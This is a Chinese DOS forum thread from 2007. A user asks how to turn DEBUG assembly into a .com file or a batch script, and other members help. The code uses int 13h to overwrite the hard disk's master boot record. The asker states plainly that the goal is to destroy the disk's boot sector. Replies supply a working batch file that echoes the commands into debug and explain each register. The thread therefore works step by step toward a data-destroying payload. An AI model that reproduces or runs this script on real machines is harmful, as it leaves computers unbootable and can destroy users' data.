中国DOS联盟论坛

中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net  论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

游客:  注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » --- 关于 debug 在批处理的应用
作者:
标题: --- 关于 debug 在批处理的应用 上一主题 | 下一主题
ooaf
中级用户





积分 313
发帖 162
注册 2007-4-2
状态 离线
『楼 主』:  --- 关于 debug 在批处理的应用

:)刚学dos:

1. 不知怎样把下面的代码编成 .com格式,请!
2. 可不可以写成批处理/?

a 100
mov ax,301
mov bx,1000
mov cx,1
mov dx,80
int 13
g=100 10e

[ Last edited by ooaf on 2007-11-14 at 06:39 PM ]

2007-11-14 09:27
查看资料  发短消息 网志   编辑帖子  回复  引用回复
bjsh
银牌会员





积分 2000
发帖 621
注册 2007-1-1
状态 离线
『第 2 楼』:  

1. debug
2. 可以写成;

可以在批处理里 把代码echo到文本 再调用debug

ps: 有违版规;请修改标题;

2007-11-14 10:16
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
ooaf
中级用户





积分 313
发帖 162
注册 2007-4-2
状态 离线
『第 3 楼』:  

debug 编成的 .com ,在电脑上通用吗?


ehco a 100 >>debug.txt
ehco mov ax,301 >>debug.txt
ehco mov bx,1000>>debug.txt
ehco mov cx,1>>debug.txt
ehco mov dx,80>>debug.txt
ehco int 13>>debug.txt
ehco g=100 10e>>debug.txt

debug < debug.txt

这样可以 吗?

2007-11-14 18:43
查看资料  发短消息 网志   编辑帖子  回复  引用回复
fastslz
铂金会员

DOS一根葱


积分 5493
发帖 2315
注册 2006-5-1
来自 上海
状态 离线
『第 4 楼』:  

强把echo 写成ehco了
@echo a 10^0 >debug.txt
@echo mov ax,30^1 >>debug.txt
@echo mov bx,100^0>>debug.txt
@echo mov cx,^1>>debug.txt
@echo o mov dx,8^0>>debug.txt
@echo int 1^3>>debug.txt
@echo g=100 10e>>debug.txt
@echo q>>debug.txt
debug < debug.txt

[ Last edited by fastslz on 2007-11-14 at 07:44 PM ]



第一高手    第二高手

2007-11-14 19:42
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
tempuser
高级用户





积分 547
发帖 261
注册 2006-4-15
状态 离线
『第 5 楼』:  



  Quote:
Originally posted by fastslz at 2007-11-14 19:42:
强把echo 写成ehco了
[code]@echo a 10^0 >debug.txt
@echo mov ax,30^1 >>debug.txt
@echo mov bx,100^0>>debug.txt
@echo mov cx,^1>>debug.txt
@echo o mov dx,8^0>> ...

尽管不知道重定向符号^在这里的意义,但实践过后还是非常佩服!

2007-11-15 13:53
查看资料  发短消息 网志   编辑帖子  回复  引用回复
lxmxn
版主




积分 11386
发帖 4938
注册 2006-7-23
状态 离线
『第 6 楼』:  



  Quote:
Originally posted by tempuser at 2007-11-15 13:53:

尽管不知道重定向符号^在这里的意义,但实践过后还是非常佩服!

这里是为了转义最后的数字,避免命令提示符认为是句柄(0,1,2……)。

2007-11-15 14:49
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
ooaf
中级用户





积分 313
发帖 162
注册 2007-4-2
状态 离线
『第 7 楼』:  

-- 谢谢了!

2007-11-16 19:40
查看资料  发短消息 网志   编辑帖子  回复  引用回复
ooaf
中级用户





积分 313
发帖 162
注册 2007-4-2
状态 离线
『第 8 楼』:  

-- 关于debug 的错误

  o mov dx,80
  ^ error
  int  13
  g=100 10e
  ^ error
  q

哦, 打错了, 没有 o ! 对不起!

可是新问题又来了,
echo a 10^0 >debug.txt
echo mov ax,30^1 >>debug.txt
echo mov bx,100^0>>debug.txt
echo mov cx,^1>>debug.txt
echo mov dx,8^0>>debug.txt
echo int 1^3>>debug.txt
echo g=100 10e>>debug.txt
echo q>>debug.txt
pause
debug < debug.txt  这之后根本没运行上面的命令, 而且停不下来 !

[ Last edited by ooaf on 2007-11-20 at 03:31 PM ]

2007-11-20 15:02
查看资料  发短消息 网志   编辑帖子  回复  引用回复
lxmxn
版主




积分 11386
发帖 4938
注册 2006-7-23
状态 离线
『第 9 楼』:  



  Quote:
o mov dx,80

是什么意思?

2007-11-20 15:05
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
ooaf
中级用户





积分 313
发帖 162
注册 2007-4-2
状态 离线
『第 10 楼』:  

破坏硬盘主引导扇区(不知道在哪里找的,这个应该不错 )

http://www.cn-dos.net/forum/view ... F%E7%A1%AC%E7%9B%98

我想将 上贴中的命令在 .bat中实现

2007-11-20 15:42
查看资料  发短消息 网志   编辑帖子  回复  引用回复
ooaf
中级用户





积分 313
发帖 162
注册 2007-4-2
状态 离线
『第 11 楼』:  

有人能解决吗?

2007-11-26 20:58
查看资料  发短消息 网志   编辑帖子  回复  引用回复
bozhenguan
新手上路

邪恶的小波子



积分 16
发帖 7
注册 2007-6-9
状态 离线
『第 12 楼』:  

这个比较简单......
a 100就是转到地址段为0100H这个地方
ax,0301  是写盘操作,写1个扇区
bx,1000 是写到缓冲区1000H处
cx,1 原型为cx,0001 作用是0道1扇区
dx,80  原型为0080  00是0面 80代表硬盘
int 13  有点不记得了  和RET同为中断  老师说过是有区别的...但老师也答不出..晕..
g=100 10e  意思是从100H地址开始执行   10e我忘了......

2007-11-27 13:50
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复
bozhenguan
新手上路

邪恶的小波子



积分 16
发帖 7
注册 2007-6-9
状态 离线
『第 13 楼』:  

作用主要是写MBR  但貌似缺少了加载MBR备份....

2007-11-27 13:51
查看资料  发送邮件  发短消息 网志   编辑帖子  回复  引用回复

请注意:您目前尚未注册或登录,请您注册登录以使用论坛的各项功能,例如发表和回复帖子等。


可打印版本 | 推荐给朋友 | 订阅主题 | 收藏主题



论坛跳转: